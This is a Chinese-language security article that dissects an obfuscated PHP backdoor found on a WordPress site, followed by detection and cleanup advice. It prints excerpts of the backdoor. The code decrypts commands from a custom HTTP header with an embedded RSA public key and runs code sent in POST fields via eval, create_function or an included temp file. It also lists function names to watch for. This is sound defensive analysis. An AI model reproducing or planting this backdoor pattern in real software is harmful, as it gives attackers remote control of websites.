
本文深入探讨wordpress网站中发现的混淆php代码,通过分析一个包含rsa公钥的复杂代码示例,揭示其可能的远程控制或恶意功能。我们将解释这类代码的特征、工作原理,并指导读者如何识别潜在的恶意行为,强调其对网站安全的严重威胁,以及采取相应防护措施的重要性。
什么是混淆PHP代码及其常见特征?
在网站维护过程中,开发者有时会遇到难以阅读的PHP代码,这些代码可能经过“混淆”处理。代码混淆是一种将源代码转换为功能相同但难以理解的形式的技术。其目的通常是为了保护知识产权、减少代码大小或隐藏敏感信息。然而,恶意攻击者也常利用混淆技术来隐藏恶意软件(如后门、病毒)的真实意图,使其难以被发现和分析。
混淆PHP代码的常见特征包括:
- 变量名和函数名随机化/缩短: 使用无意义的短字符串或随机字符作为变量和函数名,例如 $_5fc427e4、_b8e6b0c7。
- 字符串编码: 使用Base64、Hex等编码方式隐藏字符串内容,如 base64_decode('LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0K...')。
- 代码压缩: 使用Gzip等压缩算法减少代码体积,并进一步增加可读性难度。
- 动态代码执行: 滥用 eval()、create_function()、call_user_func()、assert() 等函数动态执行字符串形式的代码,这是恶意代码的典型特征。
- 加密通信: 使用对称或非对称加密算法(如AES、RSA)对传输数据进行加密,以规避网络监控。
- 禁用错误报告: 通过 error_reporting(0) 或 @ 符号抑制错误信息,隐藏其执行过程中的异常。
- 修改PHP配置: 恶意代码可能尝试修改 ini_set 配置,如延长执行时间、增大文件上传限制等,以利于其操作。
案例分析:WordPress中的可疑PHP代码
我们来看一个在WordPress网站中发现的混淆PHP代码示例。这段代码虽然经过混淆,但其核心功能和结构清晰地指向了恶意行为。
$_7a03a6d6){
if(strtolower($_52b6f489)=='http_x_cww_tag'){$_7a03a6d6=pack("H*",$_7a03a6d6);break;}
}
// ... 验证和解密过程 ...
$_2ae84ba2=openssl_pkey_get_public(base64_decode($_ca907758)); // 获取RSA公钥
openssl_public_decrypt($_7a03a6d6,$_897afce9,$_2ae84ba2); // 使用公钥解密数据
// ... (省略部分数据处理和验证) ...
// 核心功能:根据PHP环境选择代码执行方式
$_6ebae9e7=1; // 默认eval
if(eval('return 1;'))$_6ebae9e7=1;
else if(is_callable('create_function'))$_6ebae9e7=2;
else if(is_callable('file_put_contents'))$_6ebae9e7=3;
else _b8e6b0c7(60);
// 从POST请求中获取并解密执行的代码
for($i=9;$i>=0;$i--){
$_ffc1d021=_35d71fd2($_POST[$i],$_f178c330[$i]); // 解密和解压缩
if($_ffc1d021>0)_b8e6b0c7($_ffc1d021+70);
}
// 执行接收到的代码
for($_3713da68=0;$_3713da68<=9;$_3713da68++){
if(empty($_f178c330[$_3713da68]))continue;
$_d84792e0=false;
switch($_6ebae9e7){
case 1: if(!eval($_f178c330[$_3713da68]))$_d84792e0=true;break; // 使用eval
case 2: if(!call_user_func(create_function(null,$_f178c330[$_3713da68])))$_d84792e0=true;break; // 使用create_function
case 3: // 写入临时文件并包含执行
$_2226298e=tempnam(sys_get_temp_dir(),time());
if(file_put_contents($_2226298e,"')){
if(!(include($_2226298e)))$_d84792e0=true;
unlink($_2226298e);
}else{$_d84792e0=true;}
break;
}
// ... 错误处理 ...
}
// ... (其他辅助函数,如加密、解密、Gzip处理、调试信息输出等) ...
?>关键功能点分析:
立即学习“PHP免费学习笔记(深入)”;
-
RSA公钥的嵌入与使用: 代码中$_ca907758变量经过Base64解码后,是一个PEM格式的RSA公钥字符串。
-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCslwCx37zWRyzNlpNRDP151Kt6 QkMKaDI/ELnRp0DSoWBMXh37mJ8VonEv6XuRfNQLeL0gycTQfcCqIfGWyquszXZ0 /Xl/LfgpdQaAQDc2K43pXMBE2I2bQ9eRpQLDT+aSVvSjkMeHTug/PSUcdS5r2Pi9 aQKePo4lrXtetzN03QIDAQAB -----END PUBLIC KEY-----
这个公钥用于解密从HTTP请求头(HTTP_X_CWW_TAG)中接收到的加密指令或数据。这表明它是一个非对称加密通信的通道,攻击者使用对应的私钥加密指令,网站上的后门使用公钥解密。 值得注意的是,根据专家的分析,这个公钥的编码结构有些异常,缺少了外层ASN.1结构和明确的密钥类型指示,但这并不妨碍其作为RSA公钥的功能。
-
代码执行能力: 该代码具备强大的代码执行能力,它会根据当前PHP环境选择不同的执行方式:
- eval():直接执行字符串代码。
- create_function() + call_user_func():动态创建匿名函数并执行。
- file_put_contents() + include():将代码写入临时文件,然后通过 include 包含执行,最后删除临时文件以清理痕迹。 这些都是典型的后门用于执行远程命令的方式。
-
隐蔽性和持久性:
- error_reporting(0):禁用所有错误报告,使代码在执行过程中产生的错误不会暴露给用户或日志。
- 修改 ini_set:尝试调整PHP配置,如延长执行时间 (set_time_limit),可能为执行复杂或耗时任务提供便利。
- Gzip压缩和OpenSSL加密:对传输的数据进行压缩和加密,增加了数据传输的隐蔽性,难以被常规的网络流量分析工具检测。
HTTP协议通信: 通过HTTP请求头(X-Cww-Id)和状态码(HTTP/1.1 202)进行通信和错误报告,使得后门与C2(命令与控制)服务器的交互更加隐蔽。
RSA公钥在恶意代码中的作用
在这个特定的案例中,RSA公钥扮演了“解密密钥”的角色。攻击者(拥有私钥)会加密需要网站执行的命令或数据,然后通过HTTP请求发送到受感染的网站。网站上的这段恶意PHP代码会:
- 从特定的HTTP请求头(例如 HTTP_X_CWW_TAG)中提取加密的数据。
- 使用硬编码在代码中的RSA公钥对这些数据进行解密。
- 解密后的数据通常是经过Gzip压缩的PHP代码或指令。
- 将解压后的代码通过 eval() 等函数执行。
这种非对称加密机制确保了只有拥有对应私钥的攻击者才能成功向网站发送可执行的指令,从而实现远程控制。即使网站管理员发现了这段代码,如果没有私钥,也无法轻易解密其通信内容,增加了分析和追踪的难度。
为什么这类代码极有可能是恶意软件(后门)?
综合上述分析,这段代码极有可能是恶意软件(通常是后门),而非正常功能代码。原因如下:
- 高度混淆和加密: 正常功能代码很少会如此复杂地混淆、加密并动态执行。
- 禁用错误报告和修改配置: 恶意软件为了避免被发现并确保其功能正常运行,常会采取这些措施。
- 远程控制能力: 通过非对称加密和多种代码执行方式,攻击者可以远程向网站注入并执行任意PHP代码,从而完全控制网站。这包括但不限于:上传恶意文件、窃取数据、发送垃圾邮件、篡改网页内容、进行DDoS攻击等。
- 隐蔽的通信方式: 利用HTTP头进行加密通信,旨在规避安全设备的检测。
- 非标准代码结构: 恶意软件往往不会遵循标准的编码规范,其结构可能显得“怪异”或不完整,如本例中公钥的编码问题。
识别和应对策略
发现此类混淆PHP代码意味着您的WordPress网站可能已被入侵,并植入了后门。必须立即采取行动。
1. 识别方法
-
代码审计:
- 定期检查WordPress核心文件、插件和主题的完整性。使用版本控制系统或官方校验工具对比文件差异。
- 查找包含 eval()、base64_decode()、gzinflate()、create_function()、assert() 等函数组合的异常代码。
- 特别注意那些变量名随机、结构复杂的PHP文件。
- 检查文件修改日期,看是否有近期非正常修改的文件。
- 安全扫描工具: 使用专业的WordPress安全插件(如Wordfence、Sucuri Security)或在线扫描工具,它们能检测已知恶意签名和异常行为。
- 文件完整性监控: 部署文件完整性监控(FIM)系统,一旦核心文件或关键目录发生未经授权的修改,立即发出警报。
- 网络流量监控: 监控服务器的网络流量,查找与未知IP地址的异常加密通信或大量数据传输。
2. 应对措施
如果确认网站被植入此类后门,请立即执行以下步骤:
- 立即隔离网站: 将网站从公共网络中断开,或将其置于维护模式,防止进一步损害或传播。
-
彻底清除恶意代码:
- 备份网站: 在进行任何清理操作前,务必备份整个网站(文件和数据库),但要注意,备份中可能包含恶意代码。
- 重建网站: 最安全的方法是彻底删除所有文件,从官方源重新下载WordPress核心文件、插件和主题,然后从一个确认干净的备份中恢复数据库。
- 手动清理: 如果无法重建,需要仔细审查每一个文件,删除所有可疑代码和文件。这通常需要专业的安全人员协助。
- 更新所有软件: 确保WordPress核心、所有插件和主题都更新到最新版本,修补已知的安全漏洞。
-
更改所有密码: 立即更改所有相关密码,包括:
- WordPress管理员账户密码。
- 数据库用户密码。
- FTP/SFTP账户密码。
- 主机控制面板(cPanel/Plesk)密码。
- SSH访问密码。
-
加强服务器安全配置:
- 限制文件和目录权限。
- 禁用不必要的PHP函数(如 exec, shell_exec, passthru 等,如果业务允许)。
- 配置Web应用防火墙(WAF)。
- 定期审查服务器日志,查找异常活动。
- 定期备份: 实施可靠的定期备份策略,确保在未来再次被攻击时能够快速恢复。
总结
混淆PHP代码是恶意软件常用的伪装手段,其目的在于隐藏真实的恶意意图,规避安全检测。本文所分析的包含RSA公钥的混淆代码,是一个典型的远程控制后门,它通过加密通信通道,赋予攻击者对网站的完全控制权。识别和清除这类威胁需要细致的代码分析和全面的安全措施。作为网站管理员,务必保持警惕,定期进行安全审计,并采取多层次的防护策略,以确保WordPress网站的长期安全。











